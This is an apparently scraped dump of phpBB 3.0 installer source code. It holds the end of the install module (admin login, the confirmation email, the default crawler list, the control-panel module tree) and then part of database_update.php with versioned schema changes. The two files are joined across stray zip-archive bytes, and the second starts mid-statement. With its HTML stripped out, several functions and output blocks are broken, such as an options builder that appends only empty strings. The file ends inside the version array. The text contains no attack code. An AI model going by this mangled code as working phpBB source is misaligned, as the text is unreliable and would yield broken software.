$config[$row['config_name']] = $row['config_value']; } $db->sql_freeresult($result); $user->session_begin(); $auth->login($data['admin_name'], $data['admin_pass1'], false, true, true); // OK, Now that we've reached this point we can be confident that everything // is installed and working......I hope :) // So it's time to send an email to the administrator confirming the details // they entered if ($config['email_enable']) { include_once($phpbb_root_path . 'includes/functions_messenger.' . $phpEx); $messenger = new messenger(false); $messenger->template('installed', $data['language']); $messenger->to($data['board_email1'], $data['admin_name']); $messenger->anti_abuse_headers($config, $user); $messenger->assign_vars(array( 'USERNAME' => htmlspecialchars_decode($data['admin_name']), 'PASSWORD' => htmlspecialchars_decode($data['admin_pass1'])) ); $messenger->send(NOTIFY_EMAIL); } // And finally, add a note to the log add_log('admin', 'LOG_INSTALL_INSTALLED', $config['version']); $template->assign_vars(array( 'TITLE' => $lang['INSTALL_CONGRATS'], 'BODY' => sprintf($lang['INSTALL_CONGRATS_EXPLAIN'], $config['version'], append_sid($phpbb_root_path . 'install/index.' . $phpEx, 'mode=convert&language=' . $data['language']), '../docs/README.html'), 'L_SUBMIT' => $lang['INSTALL_LOGIN'], 'U_ACTION' => append_sid($phpbb_root_path . 'adm/index.' . $phpEx, 'i=send_statistics&mode=send_statistics'), )); } /** * Check if the avatar directory is writable and disable avatars * if it isn't writable. */ function disable_avatars_if_unwritable() { global $phpbb_root_path; if (!phpbb_is_writable($phpbb_root_path . 'images/avatars/upload/')) { set_config('allow_avatar', 0); set_config('allow_avatar_upload', 0); } } /** * Generate a list of available mail server authentication methods */ function mail_auth_select($selected_method) { global $lang; $auth_methods = array('PLAIN', 'LOGIN', 'CRAM-MD5', 'DIGEST-MD5', 'POP-BEFORE-SMTP'); $s_smtp_auth_options = ''; foreach ($auth_methods as $method) { $s_smtp_auth_options .= ''; } return $s_smtp_auth_options; } /** * Get submitted data */ function get_submitted_data() { return array( 'language' => basename(request_var('language', '')), 'dbms' => request_var('dbms', ''), 'dbhost' => request_var('dbhost', ''), 'dbport' => request_var('dbport', ''), 'dbuser' => request_var('dbuser', ''), 'dbpasswd' => request_var('dbpasswd', '', true), 'dbname' => request_var('dbname', ''), 'table_prefix' => request_var('table_prefix', ''), 'default_lang' => basename(request_var('default_lang', '')), 'admin_name' => utf8_normalize_nfc(request_var('admin_name', '', true)), 'admin_pass1' => request_var('admin_pass1', '', true), 'admin_pass2' => request_var('admin_pass2', '', true), 'board_email1' => strtolower(request_var('board_email1', '')), 'board_email2' => strtolower(request_var('board_email2', '')), 'img_imagick' => request_var('img_imagick', ''), 'ftp_path' => request_var('ftp_path', ''), 'ftp_user' => request_var('ftp_user', ''), 'ftp_pass' => request_var('ftp_pass', ''), 'email_enable' => request_var('email_enable', ''), 'smtp_delivery' => request_var('smtp_delivery', ''), 'smtp_host' => request_var('smtp_host', ''), 'smtp_auth' => request_var('smtp_auth', ''), 'smtp_user' => request_var('smtp_user', ''), 'smtp_pass' => request_var('smtp_pass', ''), 'cookie_secure' => request_var('cookie_secure', ''), 'force_server_vars' => request_var('force_server_vars', ''), 'server_protocol' => request_var('server_protocol', ''), 'server_name' => request_var('server_name', ''), 'server_port' => request_var('server_port', ''), 'script_path' => request_var('script_path', ''), ); } /** * The information below will be used to build the input fields presented to the user */ var $db_config_options = array( 'legend1' => 'DB_CONFIG', 'dbms' => array('lang' => 'DBMS', 'type' => 'select', 'options' => 'dbms_select(\'{VALUE}\')', 'explain' => false), 'dbhost' => array('lang' => 'DB_HOST', 'type' => 'text:25:100', 'explain' => true), 'dbport' => array('lang' => 'DB_PORT', 'type' => 'text:25:100', 'explain' => true), 'dbname' => array('lang' => 'DB_NAME', 'type' => 'text:25:100', 'explain' => false), 'dbuser' => array('lang' => 'DB_USERNAME', 'type' => 'text:25:100', 'explain' => false), 'dbpasswd' => array('lang' => 'DB_PASSWORD', 'type' => 'password:25:100', 'explain' => false), 'table_prefix' => array('lang' => 'TABLE_PREFIX', 'type' => 'text:25:100', 'explain' => true), ); var $admin_config_options = array( 'legend1' => 'ADMIN_CONFIG', 'default_lang' => array('lang' => 'DEFAULT_LANG', 'type' => 'select', 'options' => '$this->module->inst_language_select(\'{VALUE}\')', 'explain' => false), 'admin_name' => array('lang' => 'ADMIN_USERNAME', 'type' => 'text:25:100', 'explain' => true), 'admin_pass1' => array('lang' => 'ADMIN_PASSWORD', 'type' => 'password:25:100', 'explain' => true), 'admin_pass2' => array('lang' => 'ADMIN_PASSWORD_CONFIRM', 'type' => 'password:25:100', 'explain' => false), 'board_email1' => array('lang' => 'CONTACT_EMAIL', 'type' => 'text:25:100', 'explain' => false), 'board_email2' => array('lang' => 'CONTACT_EMAIL_CONFIRM', 'type' => 'text:25:100', 'explain' => false), ); var $advanced_config_options = array( 'legend1' => 'ACP_EMAIL_SETTINGS', 'email_enable' => array('lang' => 'ENABLE_EMAIL', 'type' => 'radio:enabled_disabled', 'explain' => true), 'smtp_delivery' => array('lang' => 'USE_SMTP', 'type' => 'radio:yes_no', 'explain' => true), 'smtp_host' => array('lang' => 'SMTP_SERVER', 'type' => 'text:25:50', 'explain' => false), 'smtp_auth' => array('lang' => 'SMTP_AUTH_METHOD', 'type' => 'select', 'options' => '$this->module->mail_auth_select(\'{VALUE}\')', 'explain' => true), 'smtp_user' => array('lang' => 'SMTP_USERNAME', 'type' => 'text:25:255', 'explain' => true), 'smtp_pass' => array('lang' => 'SMTP_PASSWORD', 'type' => 'password:25:255', 'explain' => true), 'legend2' => 'SERVER_URL_SETTINGS', 'cookie_secure' => array('lang' => 'COOKIE_SECURE', 'type' => 'radio:enabled_disabled', 'explain' => true), 'force_server_vars' => array('lang' => 'FORCE_SERVER_VARS', 'type' => 'radio:yes_no', 'explain' => true), 'server_protocol' => array('lang' => 'SERVER_PROTOCOL', 'type' => 'text:10:10', 'explain' => true), 'server_name' => array('lang' => 'SERVER_NAME', 'type' => 'text:40:255', 'explain' => true), 'server_port' => array('lang' => 'SERVER_PORT', 'type' => 'text:5:5', 'explain' => true), 'script_path' => array('lang' => 'SCRIPT_PATH', 'type' => 'text::255', 'explain' => true), ); /** * Specific PHP modules we may require for certain optional or extended features */ var $php_dlls_other = array('zlib', 'ftp', 'gd', 'xml'); /** * A list of the web-crawlers/bots we recognise by default * * Candidates but not included: * 'Accoona [Bot]' 'Accoona-AI-Agent/' * 'ASPseek [Crawler]' 'ASPseek/' * 'Boitho [Crawler]' 'boitho.com-dc/' * 'Bunnybot [Bot]' 'powered by www.buncat.de' * 'Cosmix [Bot]' 'cfetch/' * 'Crawler Search [Crawler]' '.Crawler-Search.de' * 'Findexa [Crawler]' 'Findexa Crawler (' * 'GBSpider [Spider]' 'GBSpider v' * 'genie [Bot]' 'genieBot (' * 'Hogsearch [Bot]' 'oegp v. 1.3.0' * 'Insuranco [Bot]' 'InsurancoBot' * 'IRLbot [Bot]' 'http://irl.cs.tamu.edu/crawler' * 'ISC Systems [Bot]' 'ISC Systems iRc Search' * 'Jyxobot [Bot]' 'Jyxobot/' * 'Kraehe [Metasuche]' '-DIE-KRAEHE- META-SEARCH-ENGINE/' * 'LinkWalker' 'LinkWalker' * 'MMSBot [Bot]' 'http://www.mmsweb.at/bot.html' * 'Naver [Bot]' 'nhnbot@naver.com)' * 'NetResearchServer' 'NetResearchServer/' * 'Nimble [Crawler]' 'NimbleCrawler' * 'Ocelli [Bot]' 'Ocelli/' * 'Onsearch [Bot]' 'onCHECK-Robot' * 'Orange [Spider]' 'OrangeSpider' * 'Sproose [Bot]' 'http://www.sproose.com/bot' * 'Susie [Sync]' '!Susie (http://www.sync2it.com/susie)' * 'Tbot [Bot]' 'Tbot/' * 'Thumbshots [Capture]' 'thumbshots-de-Bot' * 'Vagabondo [Crawler]' 'http://webagent.wise-guys.nl/' * 'Walhello [Bot]' 'appie 1.1 (www.walhello.com)' * 'WissenOnline [Bot]' 'WissenOnline-Bot' * 'WWWeasel [Bot]' 'WWWeasel Robot v' * 'Xaldon [Spider]' 'Xaldon WebSpider' */ var $bot_list = array( 'AdsBot [Google]' => array('AdsBot-Google', ''), 'Alexa [Bot]' => array('ia_archiver', ''), 'Alta Vista [Bot]' => array('Scooter/', ''), 'Ask Jeeves [Bot]' => array('Ask Jeeves', ''), 'Baidu [Spider]' => array('Baiduspider', ''), 'Bing [Bot]' => array('bingbot/', ''), 'Exabot [Bot]' => array('Exabot', ''), 'FAST Enterprise [Crawler]' => array('FAST Enterprise Crawler', ''), 'FAST WebCrawler [Crawler]' => array('FAST-WebCrawler/', ''), 'Francis [Bot]' => array('http://www.neomo.de/', ''), 'Gigabot [Bot]' => array('Gigabot/', ''), 'Google Adsense [Bot]' => array('Mediapartners-Google', ''), 'Google Desktop' => array('Google Desktop', ''), 'Google Feedfetcher' => array('Feedfetcher-Google', ''), 'Google [Bot]' => array('Googlebot', ''), 'Heise IT-Markt [Crawler]' => array('heise-IT-Markt-Crawler', ''), 'Heritrix [Crawler]' => array('heritrix/1.', ''), 'IBM Research [Bot]' => array('ibm.com/cs/crawler', ''), 'ICCrawler - ICjobs' => array('ICCrawler - ICjobs', ''), 'ichiro [Crawler]' => array('ichiro/', ''), 'Majestic-12 [Bot]' => array('MJ12bot/', ''), 'Metager [Bot]' => array('MetagerBot/', ''), 'MSN NewsBlogs' => array('msnbot-NewsBlogs/', ''), 'MSN [Bot]' => array('msnbot/', ''), 'MSNbot Media' => array('msnbot-media/', ''), 'Nutch [Bot]' => array('http://lucene.apache.org/nutch/', ''), 'Online link [Validator]' => array('online link validator', ''), 'psbot [Picsearch]' => array('psbot/0', ''), 'Sensis [Crawler]' => array('Sensis Web Crawler', ''), 'SEO Crawler' => array('SEO search Crawler/', ''), 'Seoma [Crawler]' => array('Seoma [SEO Crawler]', ''), 'SEOSearch [Crawler]' => array('SEOsearch/', ''), 'Snappy [Bot]' => array('Snappy/1.1 ( http://www.urltrends.com/ )', ''), 'Steeler [Crawler]' => array('http://www.tkl.iis.u-tokyo.ac.jp/~crawler/', ''), 'Telekom [Bot]' => array('crawleradmin.t-info@telekom.de', ''), 'TurnitinBot [Bot]' => array('TurnitinBot/', ''), 'Voyager [Bot]' => array('voyager/', ''), 'W3 [Sitesearch]' => array('W3 SiteSearch Crawler', ''), 'W3C [Linkcheck]' => array('W3C-checklink/', ''), 'W3C [Validator]' => array('W3C_Validator', ''), 'YaCy [Bot]' => array('yacybot', ''), 'Yahoo MMCrawler [Bot]' => array('Yahoo-MMCrawler/', ''), 'Yahoo Slurp [Bot]' => array('Yahoo! DE Slurp', ''), 'Yahoo [Bot]' => array('Yahoo! Slurp', ''), 'YahooSeeker [Bot]' => array('YahooSeeker/', ''), ); /** * Define the module structure so that we can populate the database without * needing to hard-code module_id values */ var $module_categories = array( 'acp' => array( 'ACP_CAT_GENERAL' => array( 'ACP_QUICK_ACCESS', 'ACP_BOARD_CONFIGURATION', 'ACP_CLIENT_COMMUNICATION', 'ACP_SERVER_CONFIGURATION', ), 'ACP_CAT_FORUMS' => array( 'ACP_MANAGE_FORUMS', 'ACP_FORUM_BASED_PERMISSIONS', ), 'ACP_CAT_POSTING' => array( 'ACP_MESSAGES', 'ACP_ATTACHMENTS', ), 'ACP_CAT_USERGROUP' => array( 'ACP_CAT_USERS', 'ACP_GROUPS', 'ACP_USER_SECURITY', ), 'ACP_CAT_PERMISSIONS' => array( 'ACP_GLOBAL_PERMISSIONS', 'ACP_FORUM_BASED_PERMISSIONS', 'ACP_PERMISSION_ROLES', 'ACP_PERMISSION_MASKS', ), 'ACP_CAT_STYLES' => array( 'ACP_STYLE_MANAGEMENT', 'ACP_STYLE_COMPONENTS', ), 'ACP_CAT_MAINTENANCE' => array( 'ACP_FORUM_LOGS', 'ACP_CAT_DATABASE', ), 'ACP_CAT_SYSTEM' => array( 'ACP_AUTOMATION', 'ACP_GENERAL_TASKS', 'ACP_MODULE_MANAGEMENT', ), 'ACP_CAT_DOT_MODS' => null, ), 'mcp' => array( 'MCP_MAIN' => null, 'MCP_QUEUE' => null, 'MCP_REPORTS' => null, 'MCP_NOTES' => null, 'MCP_WARN' => null, 'MCP_LOGS' => null, 'MCP_BAN' => null, ), 'ucp' => array( 'UCP_MAIN' => null, 'UCP_PROFILE' => null, 'UCP_PREFS' => null, 'UCP_PM' => null, 'UCP_USERGROUPS' => null, 'UCP_ZEBRA' => null, ), ); var $module_extras = array( 'acp' => array( 'ACP_QUICK_ACCESS' => array( 'ACP_MANAGE_USERS', 'ACP_GROUPS_MANAGE', 'ACP_MANAGE_FORUMS', 'ACP_MOD_LOGS', 'ACP_BOTS', 'ACP_PHP_INFO', ), 'ACP_FORUM_BASED_PERMISSIONS' => array( 'ACP_FORUM_PERMISSIONS', 'ACP_FORUM_PERMISSIONS_COPY', 'ACP_FORUM_MODERATORS', 'ACP_USERS_FORUM_PERMISSIONS', 'ACP_GROUPS_FORUM_PERMISSIONS', ), ), ); } ?>PK‰† [µ×‹Ùnndatabase_update.phpnuW+A„¶INSTALL.html before attempting to update."); } // Load Extensions if (!empty($load_extensions) && function_exists('dl')) { $load_extensions = explode(',', $load_extensions); foreach ($load_extensions as $extension) { @dl(trim($extension)); } } // Include files require($phpbb_root_path . 'includes/acm/acm_' . $acm_type . '.' . $phpEx); require($phpbb_root_path . 'includes/cache.' . $phpEx); require($phpbb_root_path . 'includes/template.' . $phpEx); require($phpbb_root_path . 'includes/session.' . $phpEx); require($phpbb_root_path . 'includes/auth.' . $phpEx); require($phpbb_root_path . 'includes/functions.' . $phpEx); phpbb_require_updated('includes/functions_content.' . $phpEx, true); require($phpbb_root_path . 'includes/functions_admin.' . $phpEx); require($phpbb_root_path . 'includes/constants.' . $phpEx); require($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx); require($phpbb_root_path . 'includes/utf/utf_tools.' . $phpEx); phpbb_require_updated('includes/db/db_tools.' . $phpEx); // new table constants are separately defined here in case the updater is run // before the files are updated if (!defined('LOGIN_ATTEMPT_TABLE')) { define('LOGIN_ATTEMPT_TABLE', $table_prefix . 'login_attempts'); } $user = new user(); $cache = new cache(); $db = new $sql_db(); // Add own hook handler, if present. :o if (file_exists($phpbb_root_path . 'includes/hooks/index.' . $phpEx)) { require($phpbb_root_path . 'includes/hooks/index.' . $phpEx); $phpbb_hook = new phpbb_hook(array('exit_handler', 'phpbb_user_session_handler', 'append_sid', array('template', 'display'))); foreach ($cache->obtain_hooks() as $hook) { @include($phpbb_root_path . 'includes/hooks/' . $hook . '.' . $phpEx); } } else { $phpbb_hook = false; } // Connect to DB $db->sql_connect($dbhost, $dbuser, $dbpasswd, $dbname, $dbport, false, false); // We do not need this any longer, unset for safety purposes unset($dbpasswd); $user->ip = (!empty($_SERVER['REMOTE_ADDR'])) ? htmlspecialchars($_SERVER['REMOTE_ADDR']) : ''; $user->ip = (stripos($user->ip, '::ffff:') === 0) ? substr($user->ip, 7) : $user->ip; $sql = "SELECT config_value FROM " . CONFIG_TABLE . " WHERE config_name = 'default_lang'"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); $language = basename(request_var('language', '')); if (!$language) { $language = $row['config_value']; } if (!file_exists($phpbb_root_path . 'language/' . $language)) { die('No language found!'); } // And finally, load the relevant language files include($phpbb_root_path . 'language/' . $language . '/common.' . $phpEx); include($phpbb_root_path . 'language/' . $language . '/acp/common.' . $phpEx); include($phpbb_root_path . 'language/' . $language . '/install.' . $phpEx); // Set PHP error handler to ours //set_error_handler('msg_handler'); // Define some variables for the database update $inline_update = (request_var('type', 0)) ? true : false; // To let set_config() calls succeed, we need to make the config array available globally $config = array(); $sql = 'SELECT * FROM ' . CONFIG_TABLE; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { $config[$row['config_name']] = $row['config_value']; } $db->sql_freeresult($result); // phpbb_db_tools will be taken from new files (under install/update/new) // if possible, falling back to the board's copy. $db_tools = new phpbb_db_tools($db, true); $database_update_info = database_update_info(); $error_ary = array(); $errored = false; header('Content-type: text/html; charset=UTF-8'); ?> <?php echo $lang['UPDATING_TO_LATEST_STABLE']; ?>


:: sql_layer; ?>
' . $config['version'] . '
'; echo $lang['UPDATED_VERSION'] . ' :: ' . $updates_to_version . '

'; $current_version = str_replace('rc', 'RC', strtolower($config['version'])); $latest_version = str_replace('rc', 'RC', strtolower($updates_to_version)); $orig_version = $config['version']; // Fill DB version if (empty($config['dbms_version'])) { set_config('dbms_version', $db->sql_server_info(true)); } // Firebird update from Firebird 2.0 to 2.1+ required? if ($db->sql_layer == 'firebird') { // We do not trust any PHP5 function enabled, we will simply test for a function new in 2.1 $db->sql_return_on_error(true); $sql = 'SELECT 1 FROM RDB$DATABASE WHERE BIN_AND(10, 1) = 0'; $result = $db->sql_query($sql); if (!$result || $db->sql_error_triggered) { echo '

'; echo '

' . $lang['ERROR'] . '


'; echo '

' . $lang['FIREBIRD_DBMS_UPDATE_REQUIRED'] . '

'; _print_footer(); exit_handler(); exit; } $db->sql_freeresult($result); $db->sql_return_on_error(false); } // MySQL update from MySQL 3.x/4.x to > 4.1.x required? if ($db->sql_layer == 'mysql' || $db->sql_layer == 'mysql4' || $db->sql_layer == 'mysqli') { // Verify by fetching column... if the column type matches the new type we update dbms_version... $sql = "SHOW COLUMNS FROM " . CONFIG_TABLE; $result = $db->sql_query($sql); $column_type = ''; while ($row = $db->sql_fetchrow($result)) { $field = strtolower($row['Field']); if ($field == 'config_value') { $column_type = strtolower($row['Type']); break; } } $db->sql_freeresult($result); // If column type is blob, but mysql version says we are on > 4.1.3, then the schema needs an update if (strpos($column_type, 'blob') !== false && version_compare($db->sql_server_info(true), '4.1.3', '>=')) { echo '

'; echo '

' . $lang['ERROR'] . '


'; echo '

' . sprintf($lang['MYSQL_SCHEMA_UPDATE_REQUIRED'], $config['dbms_version'], $db->sql_server_info(true)) . '

'; _print_footer(); exit_handler(); exit; } } // Now check if the user wants to update from a version we no longer support updates from if (version_compare($current_version, $oldest_from_version, '<')) { echo '

' . $lang['ERROR'] . '


'; echo '

' . sprintf($lang['DB_UPDATE_NOT_SUPPORTED'], $oldest_from_version, $current_version) . '

'; _print_footer(); exit_handler(); exit; } // If the latest version and the current version are 'unequal', we will update the version_update_from, else we do not update anything. if ($inline_update) { if ($current_version !== $latest_version) { set_config('version_update_from', $orig_version); } } else { // If not called from the update script, we will actually remove the traces $db->sql_query('DELETE FROM ' . CONFIG_TABLE . " WHERE config_name = 'version_update_from'"); } // Schema updates ?>


:: = as the version to be updated to next, we will skip the process if (version_compare($version, $current_version, '<') && version_compare($current_version, $next_version, '>=')) { continue; } if (!sizeof($schema_changes)) { continue; } $no_updates = false; // We run one index after the other... to be consistent with schema changes... foreach ($schema_changes as $key => $changes) { $statements = $db_tools->perform_schema_changes(array($key => $changes)); foreach ($statements as $sql) { _sql($sql, $errored, $error_ary); } } } _write_result($no_updates, $errored, $error_ary); // Data updates $error_ary = array(); $errored = $no_updates = false; ?>


:: = as the version to be updated to next, we will skip the process if (version_compare($version, $current_version, '<') && version_compare($current_version, $next_version, '>=')) { continue; } change_database_data($no_updates, $version); } _write_result($no_updates, $errored, $error_ary); $error_ary = array(); $errored = $no_updates = false; ?>


:: sql_server_info(true)); /* Optimize/vacuum analyze the tables where appropriate // this should be done for each version in future along with // the version number update switch ($db->sql_layer) { case 'mysql': case 'mysqli': case 'mysql4': $sql = 'OPTIMIZE TABLE ' . $table_prefix . 'auth_access, ' . $table_prefix . 'banlist, ' . $table_prefix . 'categories, ' . $table_prefix . 'config, ' . $table_prefix . 'disallow, ' . $table_prefix . 'forum_prune, ' . $table_prefix . 'forums, ' . $table_prefix . 'groups, ' . $table_prefix . 'posts, ' . $table_prefix . 'posts_text, ' . $table_prefix . 'privmsgs, ' . $table_prefix . 'privmsgs_text, ' . $table_prefix . 'ranks, ' . $table_prefix . 'search_results, ' . $table_prefix . 'search_wordlist, ' . $table_prefix . 'search_wordmatch, ' . $table_prefix . 'sessions_keys' . $table_prefix . 'smilies, ' . $table_prefix . 'themes, ' . $table_prefix . 'themes_name, ' . $table_prefix . 'topics, ' . $table_prefix . 'topics_watch, ' . $table_prefix . 'user_group, ' . $table_prefix . 'users, ' . $table_prefix . 'vote_desc, ' . $table_prefix . 'vote_results, ' . $table_prefix . 'vote_voters, ' . $table_prefix . 'words'; _sql($sql, $errored, $error_ary); break; case 'postgresql': _sql("VACUUM ANALYZE", $errored, $error_ary); break; } */ _write_result($no_updates, $errored, $error_ary); ?>


" class="button1">

purge(); _print_footer(); garbage_collection(); if (function_exists('exit_handler')) { exit_handler(); } /** * Print out footer */ function _print_footer() { echo <<
EOF; } /** * Function for triggering an sql statement */ function _sql($sql, &$errored, &$error_ary, $echo_dot = true) { global $db; if (defined('DEBUG_EXTRA')) { echo "
\n{$sql}\n
"; } $db->sql_return_on_error(true); if ($sql === 'begin') { $result = $db->sql_transaction('begin'); } else if ($sql === 'commit') { $result = $db->sql_transaction('commit'); } else { $result = $db->sql_query($sql); if ($db->sql_error_triggered) { $errored = true; $error_ary['sql'][] = $db->sql_error_sql; $error_ary['error_code'][] = $db->sql_error_returned; } } $db->sql_return_on_error(false); if ($echo_dot) { echo ". \n"; flush(); } return $result; } function _write_result($no_updates, $errored, $error_ary) { global $lang; if ($no_updates) { echo ' ' . $lang['NO_UPDATES_REQUIRED'] . '

'; } else { echo ' ' . $lang['DONE'] . '

' . $lang['RESULT'] . ' :: '; if ($errored) { echo ' ' . $lang['SOME_QUERIES_FAILED'] . '
    '; for ($i = 0; $i < sizeof($error_ary['sql']); $i++) { echo '
  • ' . $lang['ERROR'] . ' :: ' . htmlspecialchars($error_ary['error_code'][$i]['message']) . '
    '; echo $lang['SQL'] . ' :: ' . htmlspecialchars($error_ary['sql'][$i]) . '

  • '; } echo '


' . $lang['SQL_FAILURE_EXPLAIN'] . '

'; } else { echo '' . $lang['NO_ERRORS'] . '

'; } } } function _add_modules($modules_to_install) { global $phpbb_root_path, $phpEx, $db; include_once($phpbb_root_path . 'includes/acp/acp_modules.' . $phpEx); $_module = new acp_modules(); foreach ($modules_to_install as $module_mode => $module_data) { $_module->module_class = $module_data['class']; // Determine parent id first $sql = 'SELECT module_id FROM ' . MODULES_TABLE . " WHERE module_class = '" . $db->sql_escape($module_data['class']) . "' AND module_langname = '" . $db->sql_escape($module_data['cat']) . "' AND module_mode = '' AND module_basename = ''"; $result = $db->sql_query($sql); // There may be more than one categories with the same name $categories = array(); while ($row = $db->sql_fetchrow($result)) { $categories[] = (int) $row['module_id']; } $db->sql_freeresult($result); if (!sizeof($categories)) { continue; } // Add the module to all categories found foreach ($categories as $parent_id) { // Check if the module already exists $sql = 'SELECT * FROM ' . MODULES_TABLE . " WHERE module_basename = '" . $db->sql_escape($module_data['base']) . "' AND module_class = '" . $db->sql_escape($module_data['class']) . "' AND module_langname = '" . $db->sql_escape($module_data['title']) . "' AND module_mode = '" . $db->sql_escape($module_mode) . "' AND module_auth = '" . $db->sql_escape($module_data['auth']) . "' AND parent_id = {$parent_id}"; $result = $db->sql_query($sql); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); // If it exists, we simply continue with the next category if ($row) { continue; } // Build the module sql row $module_row = array( 'module_basename' => $module_data['base'], 'module_enabled' => (isset($module_data['enabled'])) ? (int) $module_data['enabled'] : 1, 'module_display' => (isset($module_data['display'])) ? (int) $module_data['display'] : 1, 'parent_id' => $parent_id, 'module_class' => $module_data['class'], 'module_langname' => $module_data['title'], 'module_mode' => $module_mode, 'module_auth' => $module_data['auth'], ); $_module->update_module_data($module_row, true); // Ok, do we need to re-order the module, move it up or down? if (!isset($module_data['after'])) { continue; } $after_mode = $module_data['after'][0]; $after_langname = $module_data['after'][1]; // First of all, get the module id for the module this one has to be placed after $sql = 'SELECT left_id FROM ' . MODULES_TABLE . " WHERE module_class = '" . $db->sql_escape($module_data['class']) . "' AND module_basename = '" . $db->sql_escape($module_data['base']) . "' AND module_langname = '" . $db->sql_escape($after_langname) . "' AND module_mode = '" . $db->sql_escape($after_mode) . "' AND parent_id = '{$parent_id}'"; $result = $db->sql_query($sql); $first_left_id = (int) $db->sql_fetchfield('left_id'); $db->sql_freeresult($result); if (!$first_left_id) { continue; } // Ok, count the number of modules between $after_mode and the added module $sql = 'SELECT COUNT(module_id) as num_modules FROM ' . MODULES_TABLE . " WHERE module_class = '" . $db->sql_escape($module_data['class']) . "' AND parent_id = {$parent_id} AND left_id BETWEEN {$first_left_id} AND {$module_row['left_id']}"; $result = $db->sql_query($sql); $steps = (int) $db->sql_fetchfield('num_modules'); $db->sql_freeresult($result); // We need to substract 2 $steps -= 2; if ($steps <= 0) { continue; } // Ok, move module up $num_modules times. ;) $_module->move_module_by($module_row, 'move_up', $steps); } } $_module->remove_cache_file(); } /**************************************************************************** * ADD YOUR DATABASE SCHEMA CHANGES HERE * *****************************************************************************/ function database_update_info() { return array( // Changes from 3.0.0 to the next version '3.0.0' => array( // Add the following columns 'add_columns' => array( FORUMS_TABLE => array( 'display_subforum_list' => array('BOOL', 1), ), SESSIONS_TABLE => array( 'session_forum_id' => array('UINT', 0), ), ), 'drop_keys' => array( GROUPS_TABLE => array('group_legend'), ), 'add_index' => array( SESSIONS_TABLE => array( 'session_forum_id' => array('session_forum_id'), ), GROUPS_TABLE => array( 'group_legend_name' => array('group_legend', 'group_name'), ), ), ), // No changes from 3.0.1-RC1 to 3.0.1 '3.0.1-RC1' => array(), // No changes from 3.0.1 to 3.0.2-RC1 '3.0.1' => array(), // Changes from 3.0.2-RC1 to 3.0.2-RC2 '3.0.2-RC1' => array( 'change_columns' => array( DRAFTS_TABLE => array( 'draft_subject' => array('STEXT_UNI', ''), ), FORUMS_TABLE => array( 'forum_last_post_subject' => array('STEXT_UNI', ''), ), POSTS_TABLE => array( 'post_subject' => array('STEXT_UNI', '', 'true_sort'), ), PRIVMSGS_TABLE => array( 'message_subject' => array('STEXT_UNI', ''), ), TOPICS_TABLE => array( 'topic_title' => array('STEXT_UNI', '', 'true_sort'), 'topic_last_post_subject' => array('STEXT_UNI', ''), ), ), 'drop_keys' => array( SESSIONS_TABLE => array('session_forum_id'), ), 'add_index' => array( SESSIONS_TABLE => array( 'session_fid' => array('session_forum_id'), ), ), ), // No changes from 3.0.2-RC2 to 3.0.2 '3.0.2-RC2' => array(), // Changes from 3.0.2 to 3.0.3-RC1 '3.0.2' => array( // Add the following columns 'add_columns' => array( STYLES_TEMPLATE_TABLE => array( 'template_inherits_id' => array('UINT:4', 0), 'template_inherit_path' => array('VCHAR', ''), ), GROUPS_TABLE => array( 'group_max_recipients' => array('UINT', 0), ), ), ), // No changes from 3.0.3-RC1 to 3.0.3 '3.0.3-RC1' => array(), // Changes from 3.0.3 to 3.0.4-RC1 '3.0.3' => array( 'add_columns' => array( PROFILE_FIELDS_TABLE => array( 'field_show_profile' => array('BOOL', 0), ), ), 'change_columns' => array( STYLES_TABLE => array( 'style_id' => array('UINT', NULL, 'auto_increment'), 'template_id' => array('UINT', 0), 'theme_id' => array('UINT', 0), 'imageset_id' => array('UINT', 0), ), STYLES_IMAGESET_TABLE => array( 'imageset_id' => array('UINT', NULL, 'auto_increment'), ), STYLES_IMAGESET_DATA_TABLE => array( 'image_id' => array('UINT', NULL, 'auto_increment'), 'imageset_id' => array('UINT', 0), ), STYLES_THEME_TABLE => array( 'theme_id' => array('UINT', NULL, 'auto_increment'), ), STYLES_TEMPLATE_TABLE => array( 'template_id' => array('UINT', NULL, 'auto_increment'), ), STYLES_TEMPLATE_DATA_TABLE => array( 'template_id' => array('UINT', 0), ), FORUMS_TABLE => array( 'forum_style' => array('UINT', 0), ), USERS_TABLE => array( 'user_style' => array('UINT', 0), ), ), ), // Changes from 3.0.4-RC1 to 3.0.4 '3.0.4-RC1' => array(), // Changes from 3.0.4 to 3.0.5-RC1 '3.0.4' => array( 'change_columns' => array( FORUMS_TABLE => array( 'forum_style' => array('UINT', 0), ), ), ), // No changes from 3.0.5-RC1 to 3.0.5 '3.0.5-RC1' => array(), // Changes from 3.0.5 to 3.0.6-RC1 '3.0.5' => array( 'add_columns' => array( CONFIRM_TABLE => array( 'attempts' => array('UINT', 0), ), USERS_TABLE => array( 'user_new' => array('BOOL', 1), 'user_reminded' => array('TINT:4', 0), 'user_reminded_time'=> array('TIMESTAMP', 0), ), GROUPS_TABLE => array( 'group_skip_auth' => array('BOOL', 0, 'after' => 'group_founder_manage'), ), PRIVMSGS_TABLE => array( 'message_reported' => array('BOOL', 0), ), REPORTS_TABLE => array( 'pm_id' => array('UINT', 0), ), PROFILE_FIELDS_TABLE => array( 'field_show_on_vt' => array('BOOL', 0), ), FORUMS_TABLE => array( 'forum_options' => array('UINT:20', 0), ), ), 'change_columns' => array( USERS_TABLE => array( 'user_options' => array('UINT:11', 230271), ), ), 'add_index' => array( REPORTS_TABLE => array( 'post_id' => array('post_id'), 'pm_id' => array('pm_id'), ), POSTS_TABLE => array( 'post_username' => array('post_username:255'), ), ), ), // No changes from 3.0.6-RC1 to 3.0.6-RC2 '3.0.6-RC1' => array(), // No changes from 3.0.6-RC2 to 3.0.6-RC3 '3.0.6-RC2' => array(), // No changes from 3.0.6-RC3 to 3.0.6-RC4 '3.0.6-RC3' => array(), // No changes from 3.0.6-RC4 to 3.0.6 '3.0.6-RC4' => array(), // Changes from 3.0.6 to 3.0.7-RC1 '3.0.6' => array( 'drop_keys' => array( LOG_TABLE => array('log_time'), ), 'add_index' => array( TOPICS_TRACK_TABLE => array( 'topic_id' => array('topic_id'), ), ), ), // No changes from 3.0.7-RC1 to 3.0.7-RC2 '3.0.7-RC1' => array(), // No changes from 3.0.7-RC2 to 3.0.7 '3.0.7-RC2' => array(), // No changes from 3.0.7 to 3.0.7-PL1 '3.0.7' => array(), // No changes from 3.0.7-PL1 to 3.0.8-RC1 